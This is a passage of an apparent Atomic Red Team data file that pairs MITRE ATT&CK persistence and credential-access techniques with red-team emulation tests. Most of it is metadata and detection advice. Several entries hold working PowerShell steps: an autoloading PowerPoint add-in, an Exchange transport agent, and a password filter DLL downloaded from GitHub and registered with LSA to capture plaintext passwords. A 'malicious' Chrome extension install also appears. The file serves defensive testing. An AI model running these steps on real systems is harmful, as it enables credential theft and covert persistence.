- "command": "Copy \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\PptVBAaddin.ppam\" \"$env:APPDATA\\Microsoft\\Addins\\notepad.ppam\"\n$ver = (New-Object -COMObject \"PowerPoint.Application\").version\n$ExcelRegPath=\"HKCU:\\Software\\Microsoft\\Office\\$Ver\\PowerPoint\\AddIns\\notepad\"\nNew-Item -type Directory $ExcelRegPath -Force | Out-Null\nNew-ItemProperty $ExcelRegPath \"Autoload\" -value \"1\" -propertyType DWORD | Out-Null\nNew-ItemProperty $ExcelRegPath \"Path\" -value \"notepad.ppam\" -propertyType string | Out-Null\nStop-Process -Name \"PowerPnt\" -ErrorAction Ignore\nStart-Process \"PowerPnt\"\n",
- "cleanup_command": "$ver = (New-Object -COMObject \"PowerPoint.Application\").version\nRemove-Item \"HKCU:\\Software\\Microsoft\\Office\\$Ver\\PowerPoint\\AddIns\\notepad\" -ErrorAction Ignore\nStop-Process -Name \"notepad\",\"PowerPnt\" -ErrorAction Ignore\nStart-Sleep 3\nRemove-Item \"$env:APPDATA\\Microsoft\\AddIns\\notepad.ppam\" -ErrorAction Ignore"
- }
- }
- ]
- },
- "T1505.002": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "ESET",
- "Christoffer Str\u00f6mblad"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--35187df2-31ed-43b6-a1f5-2f1d3d58d3f1",
- "type": "attack-pattern",
- "created": "2019-12-12T15:08:20.972Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1505.002",
- "url": "https://attack.mitre.org/techniques/T1505/002"
- },
- {
- "source_name": "Microsoft TransportAgent Jun 2016",
- "url": "https://docs.microsoft.com/en-us/exchange/transport-agents-exchange-2013-help",
- "description": "Microsoft. (2016, June 1). Transport agents. Retrieved June 24, 2019."
- },
- {
- "source_name": "ESET LightNeuron May 2019",
- "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf",
- "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019."
- }
- ],
- "modified": "2021-10-18T17:05:44.321Z",
- "name": "Server Software Component: Transport Agent",
- "description": "Adversaries may abuse Microsoft transport agents to establish persistent access to systems. Microsoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails.(Citation: Microsoft TransportAgent Jun 2016)(Citation: ESET LightNeuron May 2019) Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server. Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks. \n\nAdversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events.(Citation: ESET LightNeuron May 2019) Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria. For example, the transport agent may only carry out an action like copying in-transit attachments and saving them for later exfiltration if the recipient email address matches an entry on a list provided by the adversary. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Consider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components. Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Creation",
- "Application Log: Application Log Content"
- ],
- "x_mitre_permissions_required": [
- "SYSTEM",
- "Administrator",
- "root"
- ],
- "identifier": "T1505.002"
- },
- "atomic_tests": [
- {
- "name": "Install MS Exchange Transport Agent Persistence",
- "auto_generated_guid": "43e92449-ff60-46e9-83a3-1a38089df94d",
- "description": "Install a Microsoft Exchange Transport Agent for persistence. This requires execution from an Exchange Client Access Server and the creation of a DLL with specific exports. Seen in use by Turla.\nMore details- https://docs.microsoft.com/en-us/exchange/transport-agents-exchange-2013-help\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "class_factory": {
- "description": "Class factory of transport agent.",
- "type": "string",
- "default": "Microsoft.Exchange.Security.Interop.SecurityInteropAgentFactory"
- },
- "dll_path": {
- "description": "Path of DLL to use as transport agent.",
- "type": "path",
- "default": "c:\\program files\\microsoft\\Exchange Server\\v15\\bin\\Microsoft.Exchange.Security.Interop.dll"
- },
- "transport_agent_identity": {
- "description": "Friendly name of transport agent once installed.",
- "type": "string",
- "default": "Security Interop Agent"
- }
- },
- "dependencies": [
- {
- "description": "Microsoft Exchange SnapIn must be installed\n",
- "prereq_command": "Get-TransportAgent -TransportService FrontEnd\n",
- "get_prereq_command": "Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn\n"
- }
- ],
- "executor": {
- "command": "Install-TransportAgent -Name #{transport_agent_identity} -TransportAgentFactory #{class_factory} -AssemblyPath #{dll_path}\nEnable-TransportAgent #{transport_agent_identity}\nGet-TransportAgent | Format-List Name,Enabled\n",
- "cleanup_command": "if(Get-Command \"Get-TransportAgent\" -ErrorAction Ignore){\n Disable-TransportAgent #{transport_agent_identity}\n Uninstall-TransportAgent #{transport_agent_identity}\n Get-TransportAgent\n}\n",
- "name": "powershell",
- "elevation_required": true
- }
- }
- ]
- },
- "T1053": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Linux",
- "macOS",
- "Containers"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Prashant Verma, Paladion",
- "Leo Loobeek, @leoloobeek",
- "Travis Smith, Tripwire",
- "Alain Homewood, Insomnia Security",
- "Andrew Northern, @ex_raritas",
- "Bryan Campbell, @bry_campbell",
- "Zachary Abzug, @ZackDoesML",
- "Selena Larson, @selenalarson"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9",
- "created": "2017-05-31T21:30:46.977Z",
- "x_mitre_version": "2.2",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1053",
- "url": "https://attack.mitre.org/techniques/T1053"
- },
- {
- "source_name": "ProofPoint Serpent",
- "url": "https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain",
- "description": "Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New Backdoor Targets French Entities with Unique Attack Chain. Retrieved April 11, 2022."
- },
- {
- "source_name": "TechNet Task Scheduler Security",
- "url": "https://technet.microsoft.com/en-us/library/cc785125.aspx",
- "description": "Microsoft. (2005, January 21). Task Scheduler and security. Retrieved June 8, 2016."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/557.html",
- "source_name": "capec",
- "external_id": "CAPEC-557"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)\n\nAdversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent)",
- "modified": "2022-04-14T20:59:52.686Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Scheduled Task/Job",
- "x_mitre_detection": "Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Scheduled Job: Scheduled Job Creation",
- "Command: Command Execution",
- "Container: Container Creation",
- "Process: Process Creation",
- "File: File Creation",
- "File: File Modification"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM",
- "User"
- ],
- "x_mitre_effective_permissions": [
- "SYSTEM",
- "Administrator",
- "User"
- ],
- "x_mitre_remote_support": true,
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1162": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--36675cd3-fe00-454c-8516-aebecacbe9d9",
- "created": "2017-12-14T16:46:06.044Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1162",
- "url": "https://attack.mitre.org/techniques/T1162"
- },
- {
- "source_name": "Adding Login Items",
- "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html",
- "description": "Apple. (2016, September 13). Adding Login Items. Retrieved July 11, 2017."
- },
- {
- "source_name": "Methods of Mac Malware Persistence",
- "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
- "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017."
- },
- {
- "source_name": "Malware Persistence on OS X",
- "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
- "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017."
- },
- {
- "source_name": "OSX.Dok Malware",
- "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/",
- "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/564.html",
- "source_name": "capec",
- "external_id": "CAPEC-564"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": true,
- "description": "MacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them (Citation: Adding Login Items). Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). These login items are stored in the user's ~/Library/Preferences/
directory in a plist file called com.apple.loginitems.plist
(Citation: Methods of Mac Malware Persistence). Some of these applications can open visible dialogs to the user, but they don\u2019t all have to since there is an option to \u2018Hide\u2019 the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware). The API method SMLoginItemSetEnabled
can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1155) can do this as well (Citation: Adding Login Items).",
- "modified": "2022-04-22T18:50:50.483Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Login Item",
- "x_mitre_detection": "All the login items created via shared file lists are viewable by going to the Apple menu -> System Preferences -> Users & Groups -> Login items. This area (and the corresponding file locations) should be monitored and whitelisted for known good applications. Otherwise, Login Items are located in Contents/Library/LoginItems
within an application bundle, so these paths should be monitored as well (Citation: Adding Login Items). Monitor process execution resulting from login actions for unusual or unknown applications.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1556.002": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Vincent Le Toux"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42",
- "type": "attack-pattern",
- "created": "2020-02-11T19:05:45.829Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1556.002",
- "url": "https://attack.mitre.org/techniques/T1556/002"
- },
- {
- "url": "http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html",
- "description": "Fuller, R. (2013, September 11). Stealing passwords every time they change. Retrieved November 21, 2017.",
- "source_name": "Carnal Ownage Password Filters Sept 2013"
- },
- {
- "url": "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/",
- "description": "Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.",
- "source_name": "Clymb3r Function Hook Passwords Sept 2013"
- }
- ],
- "modified": "2021-04-20T20:11:55.147Z",
- "name": "Modify Authentication Process: Password Filter DLL",
- "description": "Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated. \n\nWindows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation. \n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.(Citation: Carnal Ownage Password Filters Sept 2013)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages
) and correlate then investigate the DLL files these files reference.\n\nPassword filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "2.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Module: Module Load",
- "Windows Registry: Windows Registry Key Modification",
- "File: File Creation"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ],
- "identifier": "T1556.002"
- },
- "atomic_tests": [
- {
- "name": "Install and Register Password Filter DLL",
- "auto_generated_guid": "a7961770-beb5-4134-9674-83d7e1fa865c",
- "description": "Uses PowerShell to install and register a password filter DLL. Requires a reboot and administrative privileges.\nThe binary in bin is https://www.virustotal.com/gui/file/95140c1ad39fd632d1c1300b246293297aa272ce6035eecc3da56e337200221d/detection\nSource is in src folder. \nThis does require a reboot to see the filter loaded into lsass.exe. \nIt does require Administrative privileges to import the clean registry values back into LSA, it is possible you may have to manually do this after for cleanup.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "dll_path": {
- "description": "Path to DLL to be installed and registered",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1556.002\\bin"
- },
- "dll_name": {
- "description": "Name of the Password Filter",
- "type": "string",
- "default": "AtomicRedTeamPWFilter.dll"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "AtomicRedTeamPWFilter.dll must exist on disk at specified location (#{dll_path}\\#{dll_name})\n",
- "prereq_command": "if (Test-Path #{dll_path}\\#{dll_name}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nInvoke-WebRequest \"https://github.com/redcanaryco/atomicredteam/atomics/T1556.002/bin/AtomicRedTeamPWFilter.dll\" -OutFile \"#{dll_path}\\#{dll_name}\"\n"
- }
- ],
- "executor": {
- "command": "reg.exe export HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ PathToAtomicsFolder\\T1556.002\\lsa_backup.reg\n$passwordFilterName = (Copy-Item \"#{dll_path}\\#{dll_name}\" -Destination \"C:\\Windows\\System32\" -PassThru).basename\n$lsaKey = Get-Item \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\\"\n$notificationPackagesValues = $lsaKey.GetValue(\"Notification Packages\")\n$notificationPackagesValues += $passwordFilterName\nSet-ItemProperty \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\\" \"Notification Packages\" $notificationPackagesValues\n",
- "cleanup_command": "reg.exe import PathToAtomicsFolder\\T1556.002\\lsa_backup.reg\nremove-item C:\\Windows\\System32\\#{dll_name}\n",
- "name": "powershell",
- "elevation_required": true
- }
- }
- ]
- },
- "T1505.005": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--379809f6-2fac-42c1-bd2e-e9dee70b27f8",
- "created": "2022-03-28T15:34:44.590Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1505.005",
- "url": "https://attack.mitre.org/techniques/T1505/005"
- },
- {
- "source_name": "James TermServ DLL",
- "url": "https://twitter.com/james_inthe_box/status/1150495335812177920",
- "description": "James. (2019, July 14). @James_inthe_box. Retrieved March 28, 2022."
- },
- {
- "source_name": "Microsoft System Services Fundamentals",
- "url": "https://social.technet.microsoft.com/wiki/contents/articles/12229.windows-system-services-fundamentals.aspx",
- "description": "Microsoft. (2018, February 17). Windows System Services Fundamentals. Retrieved March 28, 2022."
- },
- {
- "source_name": "Microsoft Remote Desktop Services",
- "url": "https://docs.microsoft.com/windows/win32/termserv/about-terminal-services",
- "description": "Microsoft. (2019, August 23). About Remote Desktop Services. Retrieved March 28, 2022."
- },
- {
- "source_name": "RDPWrap Github",
- "url": "https://github.com/stascorp/rdpwrap",
- "description": "Stas'M Corp. (2014, October 22). RDP Wrapper Library by Stas'M. Retrieved March 28, 2022."
- },
- {
- "source_name": "Windows OS Hub RDP",
- "url": "http://woshub.com/how-to-allow-multiple-rdp-sessions-in-windows-10/",
- "description": "Windows OS Hub. (2021, November 10). How to Allow Multiple RDP Sessions in Windows 10 and 11?. Retrieved March 28, 2022."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may abuse components of Terminal Services to enable persistent access to systems. Microsoft Terminal Services, renamed to Remote Desktop Services in some Windows Server OSs as of 2022, enable remote terminal connections to hosts. Terminal Services allows servers to transmit a full, interactive, graphical user interface to clients via RDP.(Citation: Microsoft Remote Desktop Services)\n\n[Windows Service](https://attack.mitre.org/techniques/T1543/003)s that are run as a \"generic\" process (ex: svchost.exe
) load the service's DLL file, the location of which is stored in a Registry entry named ServiceDll
.(Citation: Microsoft System Services Fundamentals) The termsrv.dll
file, typically stored in `%SystemRoot%\\System32\\`, is the default ServiceDll
value for Terminal Services in `HKLM\\System\\CurrentControlSet\\services\\TermService\\Parameters\\`.\n\nAdversaries may modify and/or replace the Terminal Services DLL to enable persistent access to victimized hosts.(Citation: James TermServ DLL) Modifications to this DLL could be done to execute arbitrary payloads (while also potentially preserving normal termsrv.dll
functionality) as well as to simply enable abusable features of Terminal Services. For example, an adversary may enable features such as concurrent [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) sessions by either patching the termsrv.dll
file or modifying the ServiceDll
value to point to a DLL that provides increased RDP functionality.(Citation: Windows OS Hub RDP)(Citation: RDPWrap Github) On a non-server Windows OS this increased functionality may also enable an adversary to avoid Terminal Services prompts that warn/log out users of a system when a new RDP session is created.",
- "modified": "2022-04-18T20:22:44.971Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Terminal Services DLL",
- "x_mitre_detection": "Monitor for changes to Registry keys associated with ServiceDll
and other subkey values under HKLM\\System\\CurrentControlSet\\services\\TermService\\Parameters\\
.\n\nMonitor unexpected changes and/or interactions with termsrv.dll
, which is typically stored in %SystemRoot%\\System32\\
.\n\nMonitor commands as well as processes and arguments for potential adversary actions to modify Registry values (ex: reg.exe
) or modify/replace the legitimate termsrv.dll
.\n\nMonitor module loads by the Terminal Services process (ex: svchost.exe -k termsvcs
) for unexpected DLLs (the default is %SystemRoot%\\System32\\termsrv.dll
, though an adversary could also use [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005) on a malicious payload).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "File: File Modification",
- "Windows Registry: Windows Registry Key Modification",
- "Process: Process Creation",
- "Module: Module Load",
- "Command: Command Execution"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1176": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Chris Ross @xorrior",
- "Justin Warner, ICEBRG"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8",
- "created": "2018-01-16T16:13:52.465Z",
- "x_mitre_version": "1.2",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1176",
- "url": "https://attack.mitre.org/techniques/T1176"
- },
- {
- "source_name": "Chrome Extension Crypto Miner",
- "url": "https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/",
- "description": "Brinkmann, M. (2017, September 19). First Chrome extension with JavaScript Crypto Miner detected. Retrieved November 16, 2017."
- },
- {
- "source_name": "xorrior chrome extensions macOS",
- "url": "https://www.xorrior.com/No-Place-Like-Chrome/",
- "description": "Chris Ross. (2019, February 8). No Place Like Chrome. Retrieved April 27, 2021."
- },
- {
- "source_name": "Chrome Extensions Definition",
- "url": "https://developer.chrome.com/extensions",
- "description": "Chrome. (n.d.). What are Extensions?. Retrieved November 16, 2017."
- },
- {
- "source_name": "ICEBRG Chrome Extensions",
- "url": "https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses",
- "description": "De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018."
- },
- {
- "source_name": "Malicious Chrome Extension Numbers",
- "url": "https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf",
- "description": "Jagpal, N., et al. (2015, August). Trends and Lessons from Three Years Fighting Malicious Extensions. Retrieved November 17, 2017."
- },
- {
- "source_name": "Chrome Extension C2 Malware",
- "url": "https://kjaer.io/extension-malware/",
- "description": "Kjaer, M. (2016, July 18). Malware in the browser: how you might get hacked by a Chrome extension. Retrieved November 22, 2017."
- },
- {
- "source_name": "Catch All Chrome Extension",
- "url": "https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/)",
- "description": "Marinho, R. (n.d.). \"Catch-All\" Google Chrome Malicious Extension Steals All Posted Data. Retrieved November 16, 2017."
- },
- {
- "source_name": "Banker Google Chrome Extension Steals Creds",
- "url": "https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/",
- "description": "Marinho, R. (n.d.). (Banker(GoogleChromeExtension)).targeting. Retrieved November 18, 2017."
- },
- {
- "source_name": "Stantinko Botnet",
- "url": "https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/",
- "description": "Vachon, F., Faou, M. (2017, July 20). Stantinko: A massive adware campaign operating covertly since 2012. Retrieved November 16, 2017."
- },
- {
- "source_name": "Wikipedia Browser Extension",
- "url": "https://en.wikipedia.org/wiki/Browser_extension",
- "description": "Wikipedia. (2017, October 8). Browser Extension. Retrieved January 11, 2018."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition)\n\nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary controlled server or manipulate the mobile configuration file to silently install additional extensions.\n\nPrevious to macOS 11, adversaries could silently install browser extensions via the command line using the profiles
tool to install malicious .mobileconfig
files. In macOS 11+, the use of the profiles
tool can no longer install configuration profiles, however .mobileconfig
files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS)\n\nOnce the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence.(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension)\n\nThere have also been instances of botnets using a persistent backdoor through malicious Chrome extensions.(Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control.(Citation: Chrome Extension C2 Malware)",
- "modified": "2022-04-20T16:46:36.707Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Browser Extensions",
- "x_mitre_detection": "Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates.\n\nMonitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation.\n\nOn macOS, monitor the command line for usage of the profiles tool, such as profiles install -type=configuration
. Additionally, all installed extensions maintain a plist
file in the /Library/Managed Preferences/username/
directory. Ensure all listed files are in alignment with approved extensions.(Citation: xorrior chrome extensions macOS)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Command: Command Execution",
- "Network Traffic: Network Connection Creation",
- "File: File Creation",
- "Windows Registry: Windows Registry Key Creation"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1176"
- },
- "atomic_tests": [
- {
- "name": "Chrome (Developer Mode)",
- "auto_generated_guid": "3ecd790d-2617-4abf-9a8c-4e8d47da9ee1",
- "description": "Turn on Chrome developer mode and Load Extension found in the src directory",
- "supported_platforms": [
- "linux",
- "windows",
- "macos"
- ],
- "executor": {
- "steps": "1. Navigate to [chrome://extensions](chrome://extensions) and\ntick 'Developer Mode'.\n\n2. Click 'Load unpacked extension...' and navigate to\n[Browser_Extension](../t1176/src/)\n\n3. Click 'Select'\n",
- "name": "manual"
- }
- },
- {
- "name": "Chrome (Chrome Web Store)",
- "auto_generated_guid": "4c83940d-8ca5-4bb2-8100-f46dc914bc3f",
- "description": "Install the \"Minimum Viable Malicious Extension\" Chrome extension",
- "supported_platforms": [
- "linux",
- "windows",
- "macos"
- ],
- "executor": {
- "steps": "1. Navigate to https://chrome.google.com/webstore/detail/minimum-viable-malicious/odlpfdolehmhciiebahbpnaopneicend\nin Chrome\n\n2. Click 'Add to Chrome'\n",
- "name": "manual"
- }
- },
- {
- "name": "Firefox",
- "auto_generated_guid": "cb790029-17e6-4c43-b96f-002ce5f10938",
- "description": "Create a file called test.wma, with the duration of 30 seconds\n",
- "supported_platforms": [
- "linux",
- "windows",
- "macos"
- ],
- "executor": {
